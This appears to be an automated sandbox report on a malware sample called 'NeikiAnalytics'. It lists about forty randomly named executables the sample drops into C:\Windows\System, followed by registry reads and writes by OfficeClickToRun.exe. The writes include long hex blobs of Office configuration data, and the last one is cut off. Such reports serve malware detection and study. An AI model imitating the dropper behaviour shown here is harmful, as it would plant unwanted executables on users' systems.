File created C:\Windows\System\ziPBAzU.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QYdEhnY.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SQOooZQ.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\wEbQKGy.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dmKsCyU.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MbldSun.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\qoHyWsP.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xDNYOWS.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\toCrhWF.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rboWqKX.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\TEsPyGV.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\qlaYqTj.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZhKwkkk.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\BsoOGSg.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CFoVUom.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rWXFTHw.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\TTUwvor.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\yQQgYvN.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zGNpHUj.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\gIlnCYr.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vSZiidX.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HNuUFfb.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HJUidvd.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HmwRPXA.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\yhLXdNh.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jwNvqOa.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\WYaKfaI.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\iNMBlkm.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\mOctcRq.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xhFmYRJ.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HaZalml.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zzKQpvx.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MmvUJON.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\NtKTrWR.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\JnIuEXG.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\FYgiwzs.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SJHOlCk.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YXIzxCG.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A
File created C:\Windows\System\hllUsDX.exe C:\Users\Admin\AppData\Local\Temp\2136e43ed39190c62a36988141daf3f0_NeikiAnalytics.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\all\Overrides C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "1" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|3" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.13 = 4973506572736f6e6150726f66696c65504358456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e52656d6f76654d53414148616e646c6572466f7254657874426f78222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e5465616368696e6743616c6c6f757454696d654f6e53637265656e54656c656d65747279222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e5468656d696e672e5573654d656469756d4c756d696e616e63655468726573686f6c64222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e5569614e6f74696669636174696f6e73466f72427573426172456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5558506c6174666f726d2e5569614e6f74696669636174696f6e73466f725465616368696e6743616c6c6f7574456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e566973696f2e484f50657266496d70726f76656d656e7473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e57686174734e65772e454353446174614c6f61646564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d3130304b42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d3130304d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d31304d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d314742416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d314d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d3530304b42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d3530304d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d35304d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d354d42416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e4275666665724f6f6d5265616c6c79426967416374696f6e222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e456e61626c655061747465726e73496e41746e74786e64222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e576f72642e52616973655569614175746f436f72726563744576656e7457697468456e74697265576f7264222c20225622203a2022626f6f6c7c3122207d205d2c2022464347726f75704d617022203a207b2022464347726f75704d61705f3122203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657231222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383434343234393330373838333230323b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657232222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383434343234393330373838323936373b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657233222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383434343234393330373838333231313b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657234222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383434343234393330373934313932373b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657235222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383732353732343238343635343239363b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b6564477261706869637341646170746572436f756e74222c20225622203a2022696e7433325f747c3522207d205d2c2022464347726f75704d61705f3222203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e476c6f62616c5265736f75726365496e666f4361636865456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e53686f756c644d69677261746546726f6d4f72617069222c20225622203a2022626f6f6c7c3122207d205d2c2022464347726f75704d61705f3322203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772616d6d6172436865636b696e672e437a656368456e746572707269736547726f757032222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772616d6d6172436865636b696e672e4f7074696f6e4f766572726964652e6373222c20225622203a20227374643a3a77737472696e677c4772616d6d617220616e6420726566696e656d656e74733a3a53657875616c206f7269656e746174696f6e20626961733d3022207d205d2c2022464347726f75704d61705f3422203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e42697a426172222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e766173426f6f742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e766173446f63756d656e7452656164792d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e766173466c6f6f64676174652d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734c6963656e73696e674469616c6f6752656e65772d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734c6f63616c4f70656e446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734c6f63616c53617665446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f444253617665446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f6e6544726976654f70656e446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f6e65447269766553617665446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f757453706163654f70656e2d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f757453706163655361766541732d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d466c6f6f6447617465222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d496e41707050757263686173652d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f75745370616365222c20225622203a2022626f6f6c7c3022207d205d207d207d C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\Overrides C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\ExternalFeatureOverrides\officeclicktorun C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.2 = 65666f72654373694c6f616446696c65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4872446f776e6c6f616454656d704173796e634c4d54222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e496e637265617365644279746573427566666572657257696e646f7753697a65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e496e6372656d656e74616c4f70656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4973496e74656c6c6967656e745361766550726f6d7074537572766579456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e49734f70656e4572726f724469616c6f6741626c65546f42654f76657272696464656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4c6f636174696f6e5069636b65725468726565446f74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4e65766572466f726365486f73744d6f6465496e436f6c6c61625265636f6e63696c6174696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4f63735072656665746368496e7465726e616c436f6f7264696e6174696f6e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4f637369576f726b696e67436f7079577269746546696c654d61785265747279436f756e74222c20225622203a2022696e7433325f747c3522207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4f637369576f726b696e67436f7079577269746546696c655265747279496e74657276616c496e4d696c6c697365636f6e6473222c20225622203a2022696e7433325f747c31303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e5265667265736855706f6e526573746f726174696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e536572766572496e666f4d736f446176436865636b456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e536861726555726c456e64706f696e744361636865456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e53686f756c645265717565737451756572794578706563746564416363657373222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e536b6970556e636f6d70617261626c65446f776e6c6f61645265766973696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e536b6970576563496e6974447572696e674f70656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e53747269637453746f726167654c6966656379636c65222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e537472697056657273696f6e494446726f6d55726c4265666f726553656e64696e67546f437369222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e5472696767657253796e63496e7369646548616e646c6542617365446f776e6c6f61644572726f72222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e556e7365745265736f757263654964496646696c655761734e6f745361766564546f536572766572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e5573654361636865644e6574776f726b436f6e6e656374696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e5573655265666163746f72656453796e634368616e6e656c496e486f73745265766973696f6e7355706461746572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e557365586d6c48747470436f6d706f6e656e74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e56616c69646174654d617050617468734c697465222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e44656661756c744368616e6e656c436f6f6c646f776e2e42616e6e6572222c20225622203a2022696e7433325f747c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c6543616d706169676e436c69656e74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c654d6f6465726e466c6f7757697468546965726564476f7665726e616e6365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c654d756c74694c61756e636853757276657943616d706169676e73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c6554656c656d657472794576656e745472616e736475636572222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e496e7369646572546f6173744c61756e63686572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e4d617843616d706169676e73506572417070222c20225622203a2022696e7433325f747c323522207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e4d6178446961676e6f73746963436f6c6c656374696f6e73506572417070222c20225622203a2022696e7433325f747c323022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e4e6f746669636174696f6e4c61756e63686572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e50726976616379436865636b466f724e6f6e436f6e74726f6c6c657253657276696365466f72537572766579222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e526f616d696e67426173656443616d706169676e537461746573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e526f616d696e674261736564476f7665726e65644368616e6e656c537461746573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e526f616d696e67426173656453757276657941637469766174696f6e5374617473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e466c6f6f64676174652e53757276657973456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e41766f6964556e6e656365737361727944657669636552656372656174654f6e446973706c61794368616e6765222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e436865636b507265666572436d644c697374466f7243616c6c436d64546f7373556e646f222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e456e73757265496e6b5374796c65496e69745769746853757266616365222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e4669784465766963655265456e756d65726174696f6e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e52756e4d6f646966794465736372697074696f6e436f6d6d616e6441734d6f6465726e496e457863656c222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e5365745465787446696c6c546f426c61636b466f7253656c6563746564486967686c69676874222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e5365745465787446696c6c546f426c61636b466f7253656c6563746564486967686c6967687432222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4368616e6765476174652e5573655368617265644458474941646170746572456e756d65726174696f6e4c6f676963466f7253746172747570222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e436f6d6d616e64732e456e61626c6553657450696374757265417370656374526174696f436d64222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e436f6d6d616e64732e456e61626c655365745461626c655374796c65436d64222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e456e61626c654368616e676550696374757265436f6d6d616e64466f72426c697046696c6c73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e456e61626c655356474c696e65416e6446696c6c436f6d6d616e6473466f72536861706573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e47657443616c6c537461636b466f7246576964656e222c20225622203a2022696e7433325f747c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e49636f46696c746572456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e496e6b2e44656c657465416c6c496e6b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4d617833444d6174657269616c5465787475726553697a65222c20225622203a2022696e7433325f747c3430393622207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4d6f64656c33444f6e6c696e652e426c6f636b6564436f756e7472696573222c20225622203a20227374643a3a77737472696e677c61663b647a3b62683b636e3b63753b65673b69643b69723b69713b6a6f3b6b773b6c623b6c793b6d723b6d613b6b703b6f6d3b71613b73613b73643b73793b746e3b74723b61653b796522207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4d6f64656c33444f6e6c696e652e426c6f636b65644c616e677561676573222c20225622203a20227374643a3a77737472696e677c74722d74723b7a682d636e3b61722d73613b69642d696422207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e4d756c74695363656e654465707265636174696f6e732e476574554957696e646f7746726f6d55736572496e74657266616365222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e526574727943726561746544324431466163746f72794f6e44656c61794c6f61644661696c7572654d617852657472696573222c20225622203a2022696e7433325f747c323022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e536b69704661696c656446436f70794f50544573496e46436f7079222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e536e61704c696e655769647468496e50656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e53746172744174506172656e7454696d65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e537570706f727454657874496e535647546f5368617065436f6e76657273696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e557365417263546578747572654265666f7265443244222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e5573654c6973744e6f6465222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e5573654c6f676963616c445049466f72566563746f72496d6167655265736f75726365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e47726170686963732e557365536d617274496e6b416e616c797a6572466f72496e6b456469746f72222c2022562220